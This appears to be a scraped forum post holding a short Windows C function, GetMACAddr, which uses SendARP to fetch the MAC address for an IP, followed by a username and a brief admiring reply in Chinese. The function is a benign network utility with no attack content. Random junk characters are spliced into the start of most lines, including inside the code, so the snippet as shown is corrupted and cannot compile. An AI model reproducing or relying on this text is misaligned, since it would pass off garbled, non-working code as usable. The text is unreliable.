# U# e) W7 @- \# e( z- m. M- h! @1 l+ ^//
, }: t4 m8 ^- s6 ^* wBOOL GetMACAddr(DWORD DestIP, char *pMAC)
2 n. N  q/ S1 {9 z5 g{
  DWORD  dwRet;
4 R- J4 {. \; a+ W  ULONG  ulLen = 6, pulMac[2];
3 g# A5 H/ y# n* v4 E  dwRet = SendARP(DestIP, 0, pulMac, &amp;ulLen);
  if(dwRet == NO_ERROR)
* _6 _+ m5 G4 j+ m  h1 v/ K- c1 \+ J  {
    memcpy(pMAC, pulMac, 6);
    return TRUE;
1 A& @$ l3 o* ~4 O/ ~) M  }
  else return FALSE;
}

wy617958197

大侠好厉害啊